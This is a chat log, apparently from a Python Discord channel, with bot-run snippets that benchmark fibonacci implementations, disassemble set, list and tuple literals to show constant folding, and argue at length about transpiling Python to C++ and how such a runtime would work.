Full output: https://paste.pythondiscord.com/afezogiwiz.txt?noredirect
if you use a set it loads a constant frozenset
004 | 4 LOAD_CONST 1 ((0, 1))
!ti py def fib(n): if n in [0,1]: return n return fib(n-1) + fib(n-2) ```py
fib(18)
!ti py def fib(n): if n in {0,1}: return n return fib(n-1) + fib(n-2) ```py
fib(18)
@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.
200 loops, best of 5: 1.03 msec per loop
@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.
200 loops, best of 5: 1.02 msec per loop
there's a little difference between them
!ti py fib = lambda n: round((1.618033988749895**n - (-1.618033988749895)**-n) / 2.23606797749979) ```py
fib(18)
@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.
500000 loops, best of 5: 465 nsec per loop
now that's fast
!ti py def fib(n, *, __cache__={0:0,1:1}): if n in __cache__: return __cache__[n] res = __cache__[n] = round((1.618033988749895**n - (-1.618033988749895)**-n) / 2.23606797749979) return res ```py
fib(18)
@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.
2000000 loops, best of 5: 129 nsec per loop
Yes, but they are alive because they are used in code object as constant
Do you know why a list wouldn't?
Because it must be created every time you use list literal
@proper vault :white_check_mark: Your 3.11 eval job has completed with return code 0.
True
!e
x = []
y = []
print(id(x) == id(y))
@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.
False
Are you sure? Looks like the second list is just allocated in the same place as the first one (which has already been gc'd by that time)
looks like it ```py
[] is []
False
id([]) == id([])
True
leads to crazy stuff like this ```py
id([]) == id([1,5,13,[4,5,6],354,1][3])
True
I am fairly confident there is in fact a list pool
That's because when the code is compiled into a code object, both reference the same co_CONST item
So something like x, y = (0,1), (0,1) in the repl will result in x and y being the same tuple
This is cool that your using notepad ++ 🙂
sets are created once?
aren’t they mutable
does anyone know altair python ?
They are optimized to frozensets
so frozensets are created once not sets
wdym
that i know
!e ```py
from dis import dis as d
d('a in {1,2}')
d('a in [1,2]')
d('a in (1,2)')
d('a in frozenset({1,2})')
@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0 0 RESUME 0
002 |
003 | 1 2 LOAD_NAME 0 (a)
004 | 4 LOAD_CONST 0 (frozenset({1, 2}))
005 | 6 CONTAINS_OP 0
006 | 8 RETURN_VALUE
007 | 0 0 RESUME 0
008 |
009 | 1 2 LOAD_NAME 0 (a)
010 | 4 LOAD_CONST 0 ((1, 2))
011 | 6 CONTAINS_OP 0
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/ilegizupor.txt?noredirect
wait so python actually optimize sets and lists if they are guaranteed to not be modified
wow
!e ```py
from dis import dis as d
d('[1,2]')
d('(1,2)')
@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0 0 RESUME 0
002 |
003 | 1 2 LOAD_CONST 0 (1)
004 | 4 LOAD_CONST 1 (2)
005 | 6 BUILD_LIST 2
006 | 8 RETURN_VALUE
007 | 0 0 RESUME 0
008 |
009 | 1 2 LOAD_CONST 0 ((1, 2))
010 | 4 RETURN_VALUE
when exactly
checking membership of a list literal will be the same as checking membership of a tuple literal
so it optimises to make it a tuple
for example:
x in [1,2,3,] will always (unless you explicitly modify the behaviour) be the same result as x in (1,2,3,)
x in {1,2} 23 ns ± 9.5 ns [1.9 s / 46519885]
x in (1,2) 46 ns ± 22 ns [1.8 s / 28237385]
x in [1,2] 54 ns ± 27 ns [2.1 s / 29134780] # same as `x in (1,2)`
{1,2} 79 ns ± 13 ns [1.9 s / 20004400]
(1,2) -3.4 ns ± 1.8 ns [1.9 s / 142867126] # it generates no code, so it takes 0 ns
[1,2] 44 ns ± 2.3 ns [1.9 s / 32041292]
``` my very bad benchmarks
ah
yeah
like I said, I'd take a stab at it
it's pretty unlikely that if I do try I'll be able to do more than add support for primitive builtin types
which is already mostly done bc things like std::string and boost::multiprecision::cpp_int have been done for me
Imagine adding Generic[T]
i mean
thats just a void*, no?
at least, that's how I'd implement it
everything is a pointer to a number, which is the type of the object after the number
then just have a massive switch statement for every builtin type
and user defined types get to not exist
but number is not a pointer...
everything would be a pointer to a number
.
in python, yes
thats how I'm saying I'd do it
but it will be very slow i guess
yep
mypyc and similar things are not boosting python code too much
I'm rusty on clang but void* is just a pointer of generic type right
But to use it you'd need to type cast to something else right?
yep
Switch case sounds good but how are you getting the type now?
the int represents the type
idc about user types
Oh
by builtin type I meant builtin primitive type
like, int, bool, str, list, etc
everything else is beyond me
Your forcing list[Unknown]?
wdym
yeah
If you put pyright on strict you'll get an error with list, dict, tuple, etc
it'd be list of unknowns
or actually
now that i think about it that way of handling things is terrible
it'd be better to copy python's approach and have everything be of type Py_Object (or something similar)
and then i can just store type information as part of the class
hm
maybe theres a good reason things are done the way they are lmao
Probably
List would be pretty easy for the primitive types
If it's simple
list<int> foo;
i mean, I can just do std::vector<Py_Object*> as the type of the internal list
and then expose methods to operate on it
for int there's boost::multiprecision::cpp_int
yeah I'm gonna heavily use pre-existing stuff
iirc std::list is linked?
except can only be one type
yep
and then there's std::set and std::map for set and dict respectively
Fine when everything is Py_Object*
mhm
I can see why cpython just uses Py_Object then append type data
It would be way to much of a pain to do it any other way
yeah
I mean, I can't actually even think of another way that would work off the top of my head
but I'm not a huge clang programmer
i mean
you could use char* and have everything be a JSON
but it'd be slow as hell
In a sense with python you can basically say it's all JSON (sorta)
In the way classes work, and since everything is a class
ah true
you can store pointers though
since those would be unique for each instance of python
Can you guarantee when you serialise that, that memory location is free?
unhashable != unserialisable
you are inventing cpython again
ah but it would be compiled before hand
bc it'd be translated from python to c++
Yea, unhashable with quotations, you could still serialise using different ways
was discussing writing a runtime for that
= mypyc or nuitka or bad cython
IT IS THE SAME AS MYPYC OR NUITKA OR CYTHON
cython still tries to keep some elements and syntax of python iirc
they are also transpiling python to C
and then turning it into a .so to be run in the Python interpreter
which is Not what this would do
mypyc and nuitka are working with pure python
you can embed interpreter into your compiled binary
anyway you must reimplement huge amount of cpython code
thats cheating
and its still python at that point
not really
since it's not Python
if you have python semantics - it is python
so your compiled code will be python too
wdym "python semantics"
you must follow all python semantics, otherwise your source code will not be python
C code + CPython interpreter (written in C) = C
so mypyc is making C binaries, not python
so there are already some Python->C transpilers
- i still dont know wth mypyc is
- wdym "C binaries"
(following your logic)
what logic do I have
all I'm saying is that it's not Python, because it's not
I'm stating an already established fact
i still dont know wth mypyc is
Python->C transpiler
wdym "C binaries"
are you going to compile your generated code? or you are going to write C interpreter?
by "C binaries" you mean a binary?
there's no binary for the c language specifically
and it's not C
so you are wrong here
its c++
the same
yeah I was talking about embedding a python interpreter
if you embed a python interpreter, then it's just python
wasn't talking about what I was doing, was talking about what you were saying
PYTHON INTERPRETER IS WRITTEN IN C SO ALL APP IS WRITTEN IN C (GENERATED CODE + INTERPRETER)
no. just because the interpreter is written in C doesn't mean that anything written in Python is actually written in C
that's not how it works
if I write a Python interpreter in Bash, then is all of Python actually Bash?
no
you are also going to implement entire python interpreter again, so it is still python (because you are embedding python interpreter)
then your original code is not python
you were the one who was talking about embedding
EXACTLY
ITS NOT
ITS C++
that's the WHOLE POINT
i keep telling you this
it's not Python
it's C++
it is not valid syntax for C++
you are going to transpile PYTHON to CPP
so you at least need PYTHON code, and then transpile it to CPP
yes
thats what I've been saying
you have python
you turn it into C++
then you have C++
and you compile it
bro, are you ok?
you contradict yourself
you contradict yourself
where
lets go
is starting with Python
then transpiling that to C++
then compiling said generated C++ along with a library
to generate a native executable
that's how I understood you
.
we are not compiling Python, we are compiling C++
and there is no embedding of an interpreter
or anything of the sort
there is no embedding of an interpreter
how do you implement heterogeneous lists, for example?
or dicts
or strings
or long integers
std::string exists :P
boost::multiprecision::cpp_int exists :P
c++ has lambdas :P
**kwargs can be done by passing an std::map, and *args is varargs
dict is std::map
std::vector of pointers
this is so off-topic lmao
std::string is nothing like a python string
it is if you are storing pointers to objects, not objects itself
otherwise it will not work
yeah
It's closer to bytearray
C++ doesn't have a python str equivalent since python str is kind of an insane type
how so?
str can contain 1-byte, 2-byte or 4-byte characters depending on string content
alr, so use a wstring
or a vector of vectors of bytes
IG you could do it as a vector of 4byte chars
But the memory situation would be quite tragic
class X:
def f(self): ...
class Y:
def f(self): ...
if random() == 0:
x = X()
else:
x = Y()
x.f() # what function will be called?
In the end, if you go down this route you will just end up with a python implementation more or less
depends on what the random call returns
Just one producing C++ instead of bytecode. Similar to sth like numba or cython
that's what i was trying to say
i mean, thats sort of the point?
(i dont mean "sort of" sarcastically, i mean it as in literally its sort of partially the point)
Yeah, if you want to make python impl, go for it. But don't expect to leverage the standard C++ library directly or to generate sensible C++ code
not really
it is similar to mypyc or nuitka
numba and cython are a bit different. Numba is jitting to native code (i believe it has no intermediate C++ step), cython is compiling to C, but it can do more - it can get rid of all python-specific calls and make C algo without touching interpreter
I mean, that's their goal. Avoiding calling the python C API and reimplementing the entire program as a C++ program, similar to numba's LLVM output. Nuitka leverages CPython afaik
ah, ok
the c++ type would be the internal representation, it would then expose methods and etc
Do try it
my goal was to attempt to write a library to support some random guys transpiler lmao
I do think it's going to be much more annoying than you think, but it is a worthwhile thing to try
im just going with what they were already doing
.
yeah ik I'm not gonna be able to do it lmao
my brain looked at the output of their transpiler and said
"hey wow is that part of the python api? no? wow! i wonder if they've written a runtime for it? no, they havent? maybe I could..."
ik im never going to realistically be able to do something like that
but nothing stops me from trying, if I decide to
since this is all still a hypothetical discussion iirc
i never said I was gonna do it ¯_(ツ)_/¯
.
anyways im gonna go sleep
was a fun conversation I had with yall
ty for putting up with my nonsense for the better part of an hour
gn <3
runtime for all python semantics already exists - it is the CPython interpreter
!e ```py
import time
def add(x: int, y: int) -> int:
start = time.time()
time.sleep(x)
time.sleep(y)
return int(time.time() - start)
print(add(1, 2))
@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
3
Saw this somewhere and thought it was pretty funny
(ik im supposed to be asleep but actually theres this thing called sleep sort thats hilarious)
(sleep in a thread for the amount of time, and since the shortest amount of time will finish first you then add it back into the list)
i wonder if sleep is turing complete
Sleep by itself probably not
well, sleep with some other stuff
only functions (that you don't define) you can call are sleep() and time()
you can use arithmetic
but no if, for, while, class, with, or try
(and also thread stuff)
I cannot see how you'd be able to get iteration or recursion with just those two
if you have threading stuff available then you can spawn threads to iterate
Are you allowed to use operators?
yeah
